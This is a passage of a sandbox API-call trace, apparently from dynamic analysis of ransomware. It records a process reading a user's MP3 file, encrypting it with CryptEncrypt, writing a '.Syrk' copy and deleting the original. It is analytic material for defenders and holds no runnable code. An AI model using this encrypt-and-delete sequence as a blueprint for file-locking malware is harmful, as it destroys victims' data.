lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", lpFilePart=0x0) returned 0x44 [0236.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0236.751] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0236.751] GetFileType (hFile=0x454) returned 0x1 [0236.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0236.751] GetFileType (hFile=0x454) returned 0x1 [0236.751] EtwEventActivityIdControl () returned 0x0 [0236.752] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.752] EtwEventActivityIdControl () returned 0x0 [0236.752] EtwEventActivityIdControl () returned 0x0 [0236.752] EtwEventActivityIdControl () returned 0x0 [0236.753] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0236.753] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk", lpFilePart=0x0) returned 0x49 [0236.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0236.754] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0236.756] GetFileType (hFile=0x458) returned 0x1 [0236.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0236.756] GetFileType (hFile=0x458) returned 0x1 [0236.756] EtwEventActivityIdControl () returned 0x0 [0236.756] CryptGenRandom (in: hProv=0x5c4d3a8, dwLen=0x10, pbBuffer=0x2379fd0 | out: pbBuffer=0x2379fd0) returned 1 [0236.758] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.758] CryptDuplicateKey (in: hKey=0x5c69200, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c68c00) returned 1 [0236.758] CryptContextAddRef (hProv=0x5c4d3a8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0236.758] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x4, pbData=0x237b2fc*=0x1, dwFlags=0x0) returned 1 [0236.758] CryptSetKeyParam (hKey=0x5c68c00, dwParam=0x1, pbData=0x237b2c8, dwFlags=0x0) returned 1 [0236.758] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.759] EtwEventActivityIdControl () returned 0x0 [0236.759] EtwEventActivityIdControl () returned 0x0 [0236.759] EtwEventActivityIdControl () returned 0x0 [0236.761] EtwEventActivityIdControl () returned 0x0 [0236.761] ReadFile (in: hFile=0x454, lpBuffer=0x237df44, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237df44*, lpNumberOfBytesRead=0x5a2e7d8*=0xf506, lpOverlapped=0x0) returned 1 [0236.764] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2391f5c*, pdwDataLen=0x5a2e7cc*=0xf500, dwBufLen=0xf500 | out: pbData=0x2391f5c*, pdwDataLen=0x5a2e7cc*=0xf500) returned 1 [0236.764] WriteFile (in: hFile=0x458, lpBuffer=0x237a0ac*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x237a0ac*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0236.766] WriteFile (in: hFile=0x458, lpBuffer=0x2392f48*, nNumberOfBytesToWrite=0xe514, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2392f48*, lpNumberOfBytesWritten=0x5a2e7b0*=0xe514, lpOverlapped=0x0) returned 1 [0236.768] ReadFile (in: hFile=0x454, lpBuffer=0x237df44, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x237df44*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0236.768] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1468*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23a1468*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0236.768] CryptEncrypt (in: hKey=0x5c68c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23a1484*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23a1484*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0236.768] WriteFile (in: hFile=0x458, lpBuffer=0x237a0ac*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x237a0ac*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0236.768] CloseHandle (hObject=0x458) returned 1 [0236.770] CloseHandle (hObject=0x454) returned 1 [0236.770] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.770] EtwEventActivityIdControl () returned 0x0 [0236.770] EtwEventActivityIdControl () returned 0x0 [0236.771] EtwEventActivityIdControl () returned 0x0 [0236.779] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3")) returned 0x20 [0236.782] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.782] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", lpFilePart=0x0) returned 0x44 [0236.783] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0236.783] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0236.783] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0236.783] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0236.783] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0236.783] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0236.784] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0236.784] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0236.784] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0236.784] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0236.784] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0236.784] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0236.784] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0236.784] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0236.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0236.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0236.785] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0236.785] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0236.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0236.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0236.785] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0236.785] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0236.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0236.785] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0236.786] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0236.786] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc")) returned 0x10 [0236.786] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0236.786] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC", lpFilePart=0x0) returned 0x3b [0236.786] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3")) returned 0x20 [0236.786] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.786] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", lpFilePart=0x0) returned 0x44 [0236.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", lpFilePart=0x0) returned 0x44 [0236.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0236.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.789] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", lpFilePart=0x0) returned 0x44 [0236.790] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0236.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0236.790] CoTaskMemAlloc (cb=0x404) returned 0x5c9b950 [0236.790] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9b950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0236.790] CoTaskMemFree (pv=0x5c9b950) [0236.879] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3")) returned 0x20 [0236.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0236.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3", lpFilePart=0x0) returned 0x44 [0236.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0236.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3"), fInfoLevelId=0x0, lpFileInformation=0x23b14f8 | out: lpFileInformation=0x23b14f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41116b30, ftCreationTime.dwHighDateTime=0x1d99934, ftLastAccessTime.dwLowDateTime=0x9708c620, ftLastAccessTime.dwHighDateTime=0x1d99b94, ftLastWriteTime.dwLowDateTime=0x9708c620, ftLastWriteTime.dwHighDateTime=0x1d99b94, nFileSizeHigh=0x0, nFileSizeLow=0xf506)) returned 1 [0236.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0236.880] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3")) returned 1 [0236.881] EtwEventActivityIdControl () returned 0x0 [0236.882] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.882] EtwEventActivityIdControl () returned 0x0 [0236.882] EtwEventActivityIdControl () returned 0x0 [0236.882] EtwEventActivityIdControl () returned 0x0 [0236.893] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3.syrk")) returned 0x20 [0236.894] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3.syrk")) returned 0x20 [0236.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0236.895] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk", lpFilePart=0x0) returned 0x49 [0236.895] EtwEventActivityIdControl () returned 0x0 [0236.895] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.896] EtwEventActivityIdControl () returned 0x0 [0236.896] EtwEventActivityIdControl () returned 0x0 [0236.896] EtwEventActivityIdControl () returned 0x0 [0236.902] EtwEventActivityIdControl () returned 0x0 [0236.902] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.903] EtwEventActivityIdControl () returned 0x0 [0236.903] EtwEventActivityIdControl () returned 0x0 [0236.903] EtwEventActivityIdControl () returned 0x0 [0236.907] EtwEventActivityIdControl () returned 0x0 [0236.907] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.907] EtwEventActivityIdControl () returned 0x0 [0236.907] EtwEventActivityIdControl () returned 0x0 [0236.907] EtwEventActivityIdControl () returned 0x0 [0236.911] EtwEventActivityIdControl () returned 0x0 [0236.911] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.912] EtwEventActivityIdControl () returned 0x0 [0236.912] EtwEventActivityIdControl () returned 0x0 [0236.912] EtwEventActivityIdControl () returned 0x0 [0236.916] EtwEventActivityIdControl () returned 0x0 [0236.916] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.916] EtwEventActivityIdControl () returned 0x0 [0236.916] EtwEventActivityIdControl () returned 0x0 [0236.916] EtwEventActivityIdControl () returned 0x0 [0237.099] EtwEventActivityIdControl () returned 0x0 [0237.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0237.103] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\O5Kq9mR4CC\\ZDzv.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\o5kq9mr4cc\\zdzv.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23bee98 | out: lpFileInformation=0x23bee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8faa9c0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x8faa9c0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x8fd0b20, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xf524)) returned 1 [0237.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0237.104] GetConsoleOutputCP () returned 0x1b5 [0237.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0237.105] GetConsoleOutputCP () returned 0x1b5 [0237.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0237.105] GetConsoleOutputCP () returned 0x1b5 [0237.105] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.105] GetConsoleOutputCP () returned 0x1b5 [0237.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.106] GetConsoleOutputCP () returned 0x1b5 [0237.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0237.106] GetConsoleOutputCP () returned 0x1b5 [0237.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0237.106] GetConsoleOutputCP () returned 0x1b5 [0237.106] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.107] GetConsoleOutputCP () returned 0x1b5 [0237.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.107] GetConsoleOutputCP () returned 0x1b5 [0237.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0237.107] GetConsoleOutputCP () returned 0x1b5 [0237.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0237.108] GetConsoleOutputCP () returned 0x1b5 [0237.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.108] GetConsoleOutputCP () returned 0x1b5 [0237.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.108] GetConsoleOutputCP () returned 0x1b5 [0237.108] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0237.108] GetConsoleOutputCP () returned 0x1b5 [0237.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0237.109] GetConsoleOutputCP () returned 0x1b5 [0237.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.109] GetConsoleOutputCP () returned 0x1b5 [0237.109] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0237.109] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0237.110] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0237.110] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23d9124*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23d9124*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0237.111] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | 